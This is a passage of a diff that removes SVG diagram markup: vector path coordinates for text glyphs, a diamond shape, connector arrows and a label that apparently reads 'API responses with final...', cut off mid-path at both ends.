672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 C681.276936,586.555175 681.636311,586.810383 681.865477,587.1333 C682.105061,587.4458 682.271727,587.872883 682.365477,588.41455 L680.990477,588.60205 C680.927977,588.174967 680.745686,587.841633 680.443602,587.60205 C680.141519,587.362467 679.719644,587.242675 679.177977,587.242675 C678.532144,587.242675 678.068602,587.35205 677.787352,587.5708 C677.516519,587.779133 677.381102,588.023925 677.381102,588.305175 C677.381102,588.492675 677.438394,588.659342 677.552977,588.805175 C677.667561,588.951008 677.844644,589.076008 678.084227,589.180175 C678.230061,589.232258 678.646727,589.35205 679.334227,589.53955 C680.323811,589.799967 681.016519,590.018717 681.412352,590.1958 C681.808186,590.362467 682.115477,590.607258 682.334227,590.930175 C682.563394,591.253092 682.677977,591.654133 682.677977,592.1333 C682.677977,592.60205 682.537352,593.044758 682.256102,593.461425 C681.985269,593.867675 681.589436,594.185383 681.068602,594.41455 C680.558186,594.643717 679.980061,594.7583 679.334227,594.7583 C678.250894,594.7583 677.427977,594.534342 676.865477,594.086425 C676.302977,593.638508 675.943602,592.971842 675.787352,592.086425 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,613.5708 L663.38892,613.5708 L663.38892,604.60205 C663.04517,604.924967 662.597253,605.247883 662.04517,605.5708 C661.503503,605.893717 661.01392,606.138508 660.57642,606.305175 L660.57642,604.9458 C661.35767,604.5708 662.039962,604.122883 662.623295,603.60205 C663.217045,603.0708 663.63892,602.560383 663.88892,602.0708 L664.79517,602.0708 L664.79517,613.5708 Z M668.959232,613.5708 L668.959232,602.117675 L673.287357,602.117675 C674.047774,602.117675 674.625899,602.154133 675.021732,602.22705 C675.584232,602.3208 676.052982,602.497883 676.427982,602.7583 C676.813399,603.018717 677.120691,603.388508 677.349857,603.867675 C677.589441,604.336425 677.709232,604.857258 677.709232,605.430175 C677.709232,606.398925 677.396732,607.221842 676.771732,607.898925 C676.157149,608.576008 675.037357,608.91455 673.412357,608.91455 L670.474857,608.91455 L670.474857,613.5708 L668.959232,613.5708 Z M670.474857,607.555175 L673.443607,607.555175 C674.422774,607.555175 675.115482,607.372883 675.521732,607.0083 C675.938399,606.643717 676.146732,606.1333 676.146732,605.47705 C676.146732,604.997883 676.021732,604.586425 675.771732,604.242675 C675.532149,603.898925 675.214441,603.674967 674.818607,603.5708 C674.568607,603.497883 674.099857,603.461425 673.412357,603.461425 L670.474857,603.461425 L670.474857,607.555175 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="19.850393 649.99335 97.755903 590.79651 175.661423 649.99335 97.755903 709.19019"></polygon>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round" points="19.850393 649.99335 97.755903 590.79651 175.661423 649.99335 97.755903 709.19019"></polygon>
-                <path d="M83.52653,653.36646 L85.135905,653.58521 C84.9588217,654.689377 84.5056967,655.559168 83.77653,656.194585 C83.05778,656.819585 82.167155,657.132085 81.104655,657.132085 C79.7817383,657.132085 78.7192383,656.699793 77.917155,655.83521 C77.1150717,654.970627 76.71403,653.731043 76.71403,652.11646 C76.71403,651.064377 76.885905,650.14771 77.229655,649.36646 C77.573405,648.58521 78.0994467,648.001877 78.80778,647.61646 C79.5161133,647.220627 80.2869467,647.02271 81.12028,647.02271 C82.1723633,647.02271 83.0317383,647.288335 83.698405,647.819585 C84.3650717,648.350835 84.792155,649.106043 84.979655,650.08521 L83.385905,650.319585 C83.229655,649.673752 82.9588217,649.189377 82.573405,648.86646 C82.1879883,648.533127 81.7244467,648.36646 81.18278,648.36646 C80.3598633,648.36646 79.6879883,648.663335 79.167155,649.257085 C78.6463217,649.850835 78.385905,650.788335 78.385905,652.069585 C78.385905,653.371668 78.635905,654.319585 79.135905,654.913335 C79.635905,655.496668 80.2869467,655.788335 81.08903,655.788335 C81.7348633,655.788335 82.2713217,655.590418 82.698405,655.194585 C83.135905,654.798752 83.4119467,654.189377 83.52653,653.36646 Z M86.49528,656.913335 L86.49528,643.55396 L88.135905,643.55396 L88.135905,656.913335 L86.49528,656.913335 Z M90.686976,645.444585 L90.686976,643.55396 L92.327601,643.55396 L92.327601,645.444585 L90.686976,645.444585 Z M90.686976,656.913335 L90.686976,647.24146 L92.327601,647.24146 L92.327601,656.913335 L90.686976,656.913335 Z M101.456797,653.80396 L103.144297,654.007085 C102.873464,654.996668 102.378672,655.767502 101.659922,656.319585 C100.941172,656.861252 100.019297,657.132085 98.894297,657.132085 C97.4776303,657.132085 96.3526303,656.699793 95.519297,655.83521 C94.6963803,654.96021 94.284922,653.736252 94.284922,652.163335 C94.284922,650.527918 94.7015887,649.262293 95.534922,648.36646 C96.378672,647.470627 97.4672137,647.02271 98.800547,647.02271 C100.092214,647.02271 101.144297,647.465418 101.956797,648.350835 C102.779714,649.225835 103.191172,650.46021 103.191172,652.05396 C103.191172,652.158127 103.191172,652.30396 103.191172,652.49146 L95.972422,652.49146 C96.034922,653.55396 96.3370053,654.371668 96.878672,654.944585 C97.4203387,655.507085 98.0922137,655.788335 98.894297,655.788335 C99.4984637,655.788335 100.014089,655.632085 100.441172,655.319585 C100.868255,654.996668 101.206797,654.49146 101.456797,653.80396 Z M96.066172,651.14771 L101.472422,651.14771 C101.399505,650.33521 101.191172,649.725835 100.847422,649.319585 C100.326589,648.684168 99.6495053,648.36646 98.816172,648.36646 C98.066172,648.36646 97.4307553,648.621668 96.909922,649.132085 C96.3995053,649.632085 96.1182553,650.30396 96.066172,651.14771 Z M105.207514,656.913335 L105.207514,647.24146 L106.676264,647.24146 L106.676264,648.61646 C107.384597,647.55396 108.410639,647.02271 109.754389,647.02271 C110.337722,647.02271 110.874181,647.126877 111.363764,647.33521 C111.853347,647.543543 112.217931,647.819585 112.457514,648.163335 C112.707514,648.496668 112.879389,648.89771 112.973139,649.36646 C113.035639,649.668543 113.066889,650.199793 113.066889,650.96021 L113.066889,656.913335 L111.426264,656.913335 L111.426264,651.02271 C111.426264,650.356043 111.358556,649.861252 111.223139,649.538335 C111.098139,649.205002 110.874181,648.939377 110.551264,648.74146 C110.228347,648.543543 109.848139,648.444585 109.410639,648.444585 C108.712722,648.444585 108.108556,648.668543 107.598139,649.11646 C107.098139,649.55396 106.848139,650.392502 106.848139,651.632085 L106.848139,656.913335 L105.207514,656.913335 Z M119.161356,655.444585 L119.395731,656.89771 C118.937398,656.99146 118.525939,657.038335 118.161356,657.038335 C117.567606,657.038335 117.104064,656.944585 116.770731,656.757085 C116.447814,656.569585 116.218648,656.324793 116.083231,656.02271 C115.947814,655.71021 115.880106,655.064377 115.880106,654.08521 L115.880106,648.507085 L114.676981,648.507085 L114.676981,647.24146 L115.880106,647.24146 L115.880106,644.850835 L117.505106,643.86646 L117.505106,647.24146 L119.161356,647.24146 L119.161356,648.507085 L117.505106,648.507085 L117.505106,654.17896 C117.505106,654.637293 117.531148,654.934168 117.583231,655.069585 C117.645731,655.205002 117.739481,655.314377 117.864481,655.39771 C117.999898,655.470627 118.192606,655.507085 118.442606,655.507085 C118.619689,655.507085 118.859273,655.486252 119.161356,655.444585 Z" id="Shape" fill="#3D99D7" fill-rule="nonzero"></path>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="175.66142 649.99335 349.89764 649.99335 349.89764 496.51303"></polyline>
-                <polyline id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round" points="199.66142 649.99335 349.89764 649.99335 349.89764 496.51303"></polyline>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="199.66142 643.3864 181.50903 649.993334 199.66142 656.600267"></polygon>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="169.51443 649.9921 633.07348 649.9921 633.07348 700.732273 169.51443 700.732273"></polygon>
-                <path d="M178.48318,676.9121 L183.60818,663.552725 L185.51443,663.552725 L190.98318,676.9121 L188.967555,676.9121 L187.42068,672.865225 L181.82693,672.865225 L180.35818,676.9121 L178.48318,676.9121 Z M182.342555,671.427725 L186.873805,671.427725 L185.467555,667.7246 C185.050888,666.5996 184.738388,665.677725 184.530055,664.958975 C184.352972,665.813142 184.113388,666.6621 183.811305,667.50585 L182.342555,671.427725 Z M192.395503,676.9121 L192.395503,663.552725 L197.442378,663.552725 C198.327795,663.552725 199.004878,663.594392 199.473628,663.677725 C200.119461,663.792308 200.666336,664.00585 201.114253,664.31835 C201.56217,664.620433 201.921545,665.047517 202.192378,665.5996 C202.463211,666.151683 202.598628,666.761058 202.598628,667.427725 C202.598628,668.563142 202.234045,669.526683 201.504878,670.31835 C200.786128,671.0996 199.478836,671.490225 197.583003,671.490225 L194.161128,671.490225 L194.161128,676.9121 L192.395503,676.9121 Z M194.161128,669.9121 L197.614253,669.9121 C198.760086,669.9121 199.572586,669.698558 200.051753,669.271475 C200.53092,668.844392 200.770503,668.245433 200.770503,667.4746 C200.770503,666.9121 200.629878,666.432933 200.348628,666.0371 C200.067378,665.641267 199.692378,665.38085 199.223628,665.25585 C198.931961,665.172517 198.385086,665.13085 197.583003,665.13085 L194.161128,665.13085 L194.161128,669.9121 Z M205.135951,676.9121 L205.135951,663.552725 L206.901576,663.552725 L206.901576,676.9121 L205.135951,676.9121 Z M214.986934,676.9121 L214.986934,667.240225 L216.455684,667.240225 L216.455684,668.708975 C216.830684,668.021475 217.174434,667.56835 217.486934,667.3496 C217.809851,667.13085 218.164017,667.021475 218.549434,667.021475 C219.101517,667.021475 219.664017,667.198558 220.236934,667.552725 L219.674434,669.06835 C219.268184,668.828767 218.867142,668.708975 218.471309,668.708975 C218.106726,668.708975 217.783809,668.81835 217.502559,669.0371 C217.221309,669.25585 217.018184,669.552725 216.893184,669.927725 C216.705684,670.511058 216.611934,671.151683 216.611934,671.8496 L216.611934,676.9121 L214.986934,676.9121 Z M227.840236,673.802725 L229.527736,674.00585 C229.256903,674.995433 228.762111,675.766267 228.043361,676.31835 C227.324611,676.860017 226.402736,677.13085 225.277736,677.13085 C223.861069,677.13085 222.736069,676.698558 221.902736,675.833975 C221.079819,674.958975 220.668361,673.735017 220.668361,672.1621 C220.668361,670.526683 221.085028,669.261058 221.918361,668.365225 C222.762111,667.469392 223.850653,667.021475 225.183986,667.021475 C226.475653,667.021475 227.527736,667.464183 228.340236,668.3496 C229.163153,669.2246 229.574611,670.458975 229.574611,672.052725 C229.574611,672.156892 229.574611,672.302725 229.574611,672.490225 L222.355861,672.490225 C222.418361,673.552725 222.720444,674.370433 223.262111,674.94335 C223.803778,675.50585 224.475653,675.7871 225.277736,675.7871 C225.881903,675.7871 226.397528,675.63085 226.824611,675.31835 C227.251694,674.995433 227.590236,674.490225 227.840236,673.802725 Z M222.449611,671.146475 L227.855861,671.146475 C227.782944,670.333975 227.574611,669.7246 227.230861,669.31835 C226.710028,668.682933 226.032944,668.365225 225.199611,668.365225 C224.449611,668.365225 223.814194,668.620433 223.293361,669.13085 C222.782944,669.63085 222.501694,670.302725 222.449611,671.146475 Z M230.934703,674.021475 L232.559703,673.771475 C232.643036,674.417308 232.893036,674.917308 233.309703,675.271475 C233.72637,675.615225 234.309703,675.7871 235.059703,675.7871 C235.809703,675.7871 236.366995,675.636058 236.731578,675.333975 C237.096161,675.021475 237.278453,674.656892 237.278453,674.240225 C237.278453,673.875642 237.116995,673.583975 236.794078,673.365225 C236.575328,673.219392 236.018036,673.0371 235.122203,672.81835 C233.91387,672.50585 233.075328,672.240225 232.606578,672.021475 C232.148245,671.802725 231.799286,671.500642 231.559703,671.115225 C231.32012,670.719392 231.200328,670.281892 231.200328,669.802725 C231.200328,669.375642 231.299286,668.979808 231.497203,668.615225 C231.69512,668.240225 231.965953,667.932933 232.309703,667.69335 C232.559703,667.50585 232.903453,667.3496 233.340953,667.2246 C233.78887,667.089183 234.262828,667.021475 234.762828,667.021475 C235.523245,667.021475 236.189911,667.13085 236.762828,667.3496 C237.335745,667.56835 237.75762,667.865225 238.028453,668.240225 C238.309703,668.615225 238.502411,669.115225 238.606578,669.740225 L236.997203,669.958975 C236.924286,669.458975 236.710745,669.06835 236.356578,668.7871 C236.012828,668.50585 235.523245,668.365225 234.887828,668.365225 C234.127411,668.365225 233.585745,668.490225 233.262828,668.740225 C232.950328,668.990225 232.794078,669.281892 232.794078,669.615225 C232.794078,669.823558 232.856578,670.016267 232.981578,670.19335 C233.116995,670.370433 233.330536,670.516267 233.622203,670.63085 C233.778453,670.69335 234.25762,670.833975 235.059703,671.052725 C236.22637,671.354808 237.03887,671.604808 237.497203,671.802725 C237.955536,672.000642 238.314911,672.2871 238.575328,672.6621 C238.835745,673.0371 238.965953,673.50585 238.965953,674.06835 C238.965953,674.620433 238.804495,675.136058 238.481578,675.615225 C238.169078,676.094392 237.710745,676.469392 237.106578,676.740225 C236.502411,677.000642 235.82012,677.13085 235.059703,677.13085 C233.809703,677.13085 232.85137,676.870433 232.184703,676.3496 C231.528453,675.828767 231.111786,675.052725 230.934703,674.021475 Z M240.919078,680.615225 L240.919078,667.240225 L242.403453,667.240225 L242.403453,668.490225 C242.75762,668.000642 243.153453,667.636058 243.590953,667.396475 C244.03887,667.146475 244.580536,667.021475 245.215953,667.021475 C246.03887,667.021475 246.762828,667.235017 247.387828,667.6621 C248.023245,668.078767 248.502411,668.677725 248.825328,669.458975 C249.148245,670.229808 249.309703,671.078767 249.309703,672.00585 C249.309703,672.995433 249.13262,673.886058 248.778453,674.677725 C248.424286,675.469392 247.908661,676.078767 247.231578,676.50585 C246.554495,676.922517 245.840953,677.13085 245.090953,677.13085 C244.549286,677.13085 244.059703,677.016267 243.622203,676.7871 C243.184703,676.557933 242.830536,676.266267 242.559703,675.9121 L242.559703,680.615225 L240.919078,680.615225 Z M242.403453,672.13085 C242.403453,673.370433 242.653453,674.292308 243.153453,674.896475 C243.66387,675.490225 244.273245,675.7871 244.981578,675.7871 C245.710745,675.7871 246.335745,675.479808 246.856578,674.865225 C247.377411,674.240225 247.637828,673.281892 247.637828,671.990225 C247.637828,670.761058 247.38262,669.839183 246.872203,669.2246 C246.372203,668.610017 245.768036,668.302725 245.059703,668.302725 C244.361786,668.302725 243.741995,668.63085 243.200328,669.2871 C242.669078,669.932933 242.403453,670.88085 242.403453,672.13085 Z M250.68542,672.06835 C250.68542,670.276683 251.180212,668.953767 252.169795,668.0996 C253.003128,667.38085 254.018753,667.021475 255.21667,667.021475 C256.550003,667.021475 257.638545,667.458975 258.482295,668.333975 C259.326045,669.198558 259.74792,670.401683 259.74792,671.94335 C259.74792,673.182933 259.56042,674.1621 259.18542,674.88085 C258.81042,675.589183 258.263545,676.141267 257.544795,676.5371 C256.836462,676.932933 256.06042,677.13085 255.21667,677.13085 C253.862503,677.13085 252.768753,676.698558 251.93542,675.833975 C251.102087,674.958975 250.68542,673.703767 250.68542,672.06835 Z M252.37292,672.06835 C252.37292,673.307933 252.638545,674.240225 253.169795,674.865225 C253.711462,675.479808 254.393753,675.7871 255.21667,675.7871 C256.02917,675.7871 256.706253,675.479808 257.24792,674.865225 C257.789587,674.240225 258.06042,673.292308 258.06042,672.021475 C258.06042,670.823558 257.789587,669.917308 257.24792,669.302725 C256.706253,668.688142 256.02917,668.38085 255.21667,668.38085 C254.393753,668.38085 253.711462,668.688142 253.169795,669.302725 C252.638545,669.906892 252.37292,670.828767 252.37292,672.06835 Z M261.670527,676.9121 L261.670527,667.240225 L263.139277,667.240225 L263.139277,668.615225 C263.84761,667.552725 264.873652,667.021475 266.217402,667.021475 C266.800735,667.021475 267.337194,667.125642 267.826777,667.333975 C268.31636,667.542308 268.680944,667.81835 268.920527,668.1621 C269.170527,668.495433 269.342402,668.896475 269.436152,669.365225 C269.498652,669.667308 269.529902,670.198558 269.529902,670.958975 L269.529902,676.9121 L267.889277,676.9121 L267.889277,671.021475 C267.889277,670.354808 267.821569,669.860017 267.686152,669.5371 C267.561152,669.203767 267.337194,668.938142 267.014277,668.740225 C266.69136,668.542308 266.311152,668.44335 265.873652,668.44335 C265.175735,668.44335 264.571569,668.667308 264.061152,669.115225 C263.561152,669.552725 263.311152,670.391267 263.311152,671.63085 L263.311152,676.9121 L261.670527,676.9121 Z M271.389979,674.021475 L273.014979,673.771475 C273.098312,674.417308 273.348312,674.917308 273.764979,675.271475 C274.181646,675.615225 274.764979,675.7871 275.514979,675.7871 C276.264979,675.7871 276.822271,675.636058 277.186854,675.333975 C277.551437,675.021475 277.733729,674.656892 277.733729,674.240225 C277.733729,673.875642 277.572271,673.583975 277.249354,673.365225 C277.030604,673.219392 276.473312,673.0371 275.577479,672.81835 C274.369146,672.50585 273.530604,672.240225 273.061854,672.021475 C272.603521,671.802725 272.254562,671.500642 272.014979,671.115225 C271.775396,670.719392 271.655604,670.281892 271.655604,669.802725 C271.655604,669.375642 271.754562,668.979808 271.952479,668.615225 C272.150396,668.240225 272.421229,667.932933 272.764979,667.69335 C273.014979,667.50585 273.358729,667.3496 273.796229,667.2246 C274.244146,667.089183 274.718104,667.021475 275.218104,667.021475 C275.978521,667.021475 276.645187,667.13085 277.218104,667.3496 C277.791021,667.56835 278.212896,667.865225 278.483729,668.240225 C278.764979,668.615225 278.957687,669.115225 279.061854,669.740225 L277.452479,669.958975 C277.379562,669.458975 277.166021,669.06835 276.811854,668.7871 C276.468104,668.50585 275.978521,668.365225 275.343104,668.365225 C274.582687,668.365225 274.041021,668.490225 273.718104,668.740225 C273.405604,668.990225 273.249354,669.281892 273.249354,669.615225 C273.249354,669.823558 273.311854,670.016267 273.436854,670.19335 C273.572271,670.370433 273.785812,670.516267 274.077479,670.63085 C274.233729,670.69335 274.712896,670.833975 275.514979,671.052725 C276.681646,671.354808 277.494146,671.604808 277.952479,671.802725 C278.410812,672.000642 278.770187,672.2871 279.030604,672.6621 C279.291021,673.0371 279.421229,673.50585 279.421229,674.06835 C279.421229,674.620433 279.259771,675.136058 278.936854,675.615225 C278.624354,676.094392 278.166021,676.469392 277.561854,676.740225 C276.957687,677.000642 276.275396,677.13085 275.514979,677.13085 C274.264979,677.13085 273.306646,676.870433 272.639979,676.3496 C271.983729,675.828767 271.567062,675.052725 271.389979,674.021475 Z M287.999354,673.802725 L289.686854,674.00585 C289.416021,674.995433 288.921229,675.766267 288.202479,676.31835 C287.483729,676.860017 286.561854,677.13085 285.436854,677.13085 C284.020187,677.13085 282.895187,676.698558 282.061854,675.833975 C281.238937,674.958975 280.827479,673.735017 280.827479,672.1621 C280.827479,670.526683 281.244146,669.261058 282.077479,668.365225 C282.921229,667.469392 284.009771,667.021475 285.343104,667.021475 C286.634771,667.021475 287.686854,667.464183 288.499354,668.3496 C289.322271,669.2246 289.733729,670.458975 289.733729,672.052725 C289.733729,672.156892 289.733729,672.302725 289.733729,672.490225 L282.514979,672.490225 C282.577479,673.552725 282.879562,674.370433 283.421229,674.94335 C283.962896,675.50585 284.634771,675.7871 285.436854,675.7871 C286.041021,675.7871 286.556646,675.63085 286.983729,675.31835 C287.410812,674.995433 287.749354,674.490225 287.999354,673.802725 Z M282.608729,671.146475 L288.014979,671.146475 C287.942062,670.333975 287.733729,669.7246 287.389979,669.31835 C286.869146,668.682933 286.192062,668.365225 285.358729,668.365225 C284.608729,668.365225 283.973312,668.620433 283.452479,669.13085 C282.942062,669.63085 282.660812,670.302725 282.608729,671.146475 Z M298.714625,676.9121 L295.745875,667.240225 L297.449,667.240225 L298.98025,672.81835 L299.558375,674.896475 C299.589625,674.792308 299.756292,674.125642 300.058375,672.896475 L301.60525,667.240225 L303.29275,667.240225 L304.73025,672.8496 L305.214625,674.69335 L305.777125,672.833975 L307.433375,667.240225 L309.027125,667.240225 L305.995875,676.9121 L304.29275,676.9121 L302.7615,671.115225 L302.3865,669.4746 L300.433375,676.9121 L298.714625,676.9121 Z M310.406336,665.44335 L310.406336,663.552725 L312.046961,663.552725 L312.046961,665.44335 L310.406336,665.44335 Z M310.406336,676.9121 L310.406336,667.240225 L312.046961,667.240225 L312.046961,676.9121 L310.406336,676.9121 Z M318.129267,675.44335 L318.363642,676.896475 C317.905309,676.990225 317.49385,677.0371 317.129267,677.0371 C316.535517,677.0371 316.071975,676.94335 315.738642,676.75585 C315.415725,676.56835 315.186559,676.323558 315.051142,676.021475 C314.915725,675.708975 314.848017,675.063142 314.848017,674.083975 L314.848017,668.50585 L313.644892,668.50585 L313.644892,667.240225 L314.848017,667.240225 L314.848017,664.8496 L316.473017,663.865225 L316.473017,667.240225 L318.129267,667.240225 L318.129267,668.50585 L316.473017,668.50585 L316.473017,674.177725 C316.473017,674.636058 316.499059,674.932933 316.551142,675.06835 C316.613642,675.203767 316.707392,675.313142 316.832392,675.396475 C316.967809,675.469392 317.160517,675.50585 317.410517,675.50585 C317.5876,675.50585 317.827184,675.485017 318.129267,675.44335 Z M319.734461,676.9121 L319.734461,663.552725 L321.375086,663.552725 L321.375086,668.3496 C322.135503,667.464183 323.099044,667.021475 324.265711,667.021475 C324.984461,667.021475 325.604253,667.1621 326.125086,667.44335 C326.656336,667.7246 327.036544,668.115225 327.265711,668.615225 C327.494878,669.115225 327.609461,669.839183 327.609461,670.7871 L327.609461,676.9121 L325.968836,676.9121 L325.968836,670.7871 C325.968836,669.964183 325.791753,669.365225 325.437586,668.990225 C325.083419,668.615225 324.578211,668.427725 323.921961,668.427725 C323.442794,668.427725 322.989669,668.557933 322.562586,668.81835 C322.135503,669.06835 321.828211,669.406892 321.640711,669.833975 C321.463628,670.261058 321.375086,670.854808 321.375086,671.615225 L321.375086,676.9121 L319.734461,676.9121 Z M335.684107,676.9121 L335.684107,668.50585 L334.230982,668.50585 L334.230982,667.240225 L335.684107,667.240225 L335.684107,666.208975 C335.684107,665.563142 335.741399,665.078767 335.855982,664.75585 C336.012232,664.328767 336.288274,663.985017 336.684107,663.7246 C337.07994,663.464183 337.637232,663.333975 338.355982,663.333975 C338.814315,663.333975 339.324732,663.386058 339.887232,663.490225 L339.637232,664.927725 C339.303899,664.865225 338.98619,664.833975 338.684107,664.833975 C338.184107,664.833975 337.82994,664.94335 337.621607,665.1621 C337.413274,665.370433 337.309107,665.766267 337.309107,666.3496 L337.309107,667.240225 L339.199732,667.240225 L339.199732,668.50585 L337.309107,668.50585 L337.309107,676.9121 L335.684107,676.9121 Z M340.476771,665.44335 L340.476771,663.552725 L342.117396,663.552725 L342.117396,665.44335 L340.476771,665.44335 Z M340.476771,676.9121 L340.476771,667.240225 L342.117396,667.240225 L342.117396,676.9121 L340.476771,676.9121 Z M344.621607,676.9121 L344.621607,667.240225 L346.090357,667.240225 L346.090357,668.615225 C346.79869,667.552725 347.824732,667.021475 349.168482,667.021475 C349.751815,667.021475 350.288274,667.125642 350.777857,667.333975 C351.26744,667.542308 351.632024,667.81835 351.871607,668.1621 C352.121607,668.495433 352.293482,668.896475 352.387232,669.365225 C352.449732,669.667308 352.480982,670.198558 352.480982,670.958975 L352.480982,676.9121 L350.840357,676.9121 L350.840357,671.021475 C350.840357,670.354808 350.772649,669.860017 350.637232,669.5371 C350.512232,669.203767 350.288274,668.938142 349.965357,668.740225 C349.64244,668.542308 349.262232,668.44335 348.824732,668.44335 C348.126815,668.44335 347.522649,668.667308 347.012232,669.115225 C346.512232,669.552725 346.262232,670.391267 346.262232,671.63085 L346.262232,676.9121 L344.621607,676.9121 Z M361.309809,675.7246 C360.695226,676.235017 360.106684,676.5996 359.544184,676.81835 C358.992101,677.026683 358.393142,677.13085 357.747309,677.13085 C356.684809,677.13085 355.867101,676.870433 355.294184,676.3496 C354.721267,675.828767 354.434809,675.167308 354.434809,674.365225 C354.434809,673.886058 354.544184,673.453767 354.762934,673.06835 C354.981684,672.672517 355.262934,672.360017 355.606684,672.13085 C355.960851,671.891267 356.356684,671.708975 356.794184,671.583975 C357.106684,671.500642 357.591059,671.417308 358.247309,671.333975 C359.570226,671.177725 360.544184,670.990225 361.169184,670.771475 C361.179601,670.542308 361.184809,670.401683 361.184809,670.3496 C361.184809,669.682933 361.028559,669.208975 360.716059,668.927725 C360.299392,668.563142 359.674392,668.38085 358.841059,668.38085 C358.070226,668.38085 357.502517,668.516267 357.137934,668.7871 C356.773351,669.057933 356.502517,669.531892 356.325434,670.208975 L354.716059,669.990225 C354.861892,669.313142 355.101476,668.766267 355.434809,668.3496 C355.768142,667.922517 356.252517,667.594392 356.887934,667.365225 C357.523351,667.136058 358.252517,667.021475 359.075434,667.021475 C359.908767,667.021475 360.580642,667.120433 361.091059,667.31835 C361.611892,667.50585 361.992101,667.750642 362.231684,668.052725 C362.481684,668.344392 362.653559,668.714183 362.747309,669.1621 C362.799392,669.44335 362.825434,669.948558 362.825434,670.677725 L362.825434,672.865225 C362.825434,674.386058 362.861892,675.3496 362.934809,675.75585 C363.007726,676.151683 363.143142,676.5371 363.341059,676.9121 L361.637934,676.9121 C361.460851,676.56835 361.351476,676.172517 361.309809,675.7246 Z M361.169184,672.052725 C360.575434,672.302725 359.684809,672.511058 358.497309,672.677725 C357.820226,672.771475 357.341059,672.88085 357.059809,673.00585 C356.778559,673.13085 356.559809,673.307933 356.403559,673.5371 C356.257726,673.766267 356.184809,674.026683 356.184809,674.31835 C356.184809,674.75585 356.351476,675.120433 356.684809,675.4121 C357.018142,675.703767 357.502517,675.8496 358.137934,675.8496 C358.762934,675.8496 359.320226,675.714183 359.809809,675.44335 C360.309809,675.1621 360.674392,674.781892 360.903559,674.302725 C361.080642,673.927725 361.169184,673.38085 361.169184,672.6621 L361.169184,672.052725 Z M365.326166,676.9121 L365.326166,663.552725 L366.966791,663.552725 L366.966791,676.9121 L365.326166,676.9121 Z M374.044916,674.021475 L375.669916,673.771475 C375.75325,674.417308 376.00325,674.917308 376.419916,675.271475 C376.836583,675.615225 377.419916,675.7871 378.169916,675.7871 C378.919916,675.7871 379.477208,675.636058 379.841791,675.333975 C380.206375,675.021475 380.388666,674.656892 380.388666,674.240225 C380.388666,673.875642 380.227208,673.583975 379.904291,673.365225 C379.685541,673.219392 379.12825,673.0371 378.232416,672.81835 C377.024083,672.50585 376.185541,672.240225 375.716791,672.021475 C375.258458,671.802725 374.9095,671.500642 374.669916,671.115225 C374.430333,670.719392 374.310541,670.281892 374.310541,669.802725 C374.310541,669.375642 374.4095,668.979808 374.607416,668.615225 C374.805333,668.240225 375.076166,667.932933 375.419916,667.69335 C375.669916,667.50585 376.013666,667.3496 376.451166,667.2246 C376.899083,667.089183 377.373041,667.021475 377.873041,667.021475 C378.633458,667.021475 379.300125,667.13085 379.873041,667.3496 C380.445958,667.56835 380.867833,667.865225 381.138666,668.240225 C381.419916,668.615225 381.612625,669.115225 381.716791,669.740225 L380.107416,669.958975 C380.0345,669.458975 379.820958,669.06835 379.466791,668.7871 C379.123041,668.50585 378.633458,668.365225 377.998041,668.365225 C377.237625,668.365225 376.695958,668.490225 376.373041,668.740225 C376.060541,668.990225 375.904291,669.281892 375.904291,669.615225 C375.904291,669.823558 375.966791,670.016267 376.091791,670.19335 C376.227208,670.370433 376.44075,670.516267 376.732416,670.63085 C376.888666,670.69335 377.367833,670.833975 378.169916,671.052725 C379.336583,671.354808 380.149083,671.604808 380.607416,671.802725 C381.06575,672.000642 381.425125,672.2871 381.685541,672.6621 C381.945958,673.0371 382.076166,673.50585 382.076166,674.06835 C382.076166,674.620433 381.914708,675.136058 381.591791,675.615225 C381.279291,676.094392 380.820958,676.469392 380.216791,676.740225 C379.612625,677.000642 378.930333,677.13085 378.169916,677.13085 C376.919916,677.13085 375.961583,676.870433 375.294916,676.3496 C374.638666,675.828767 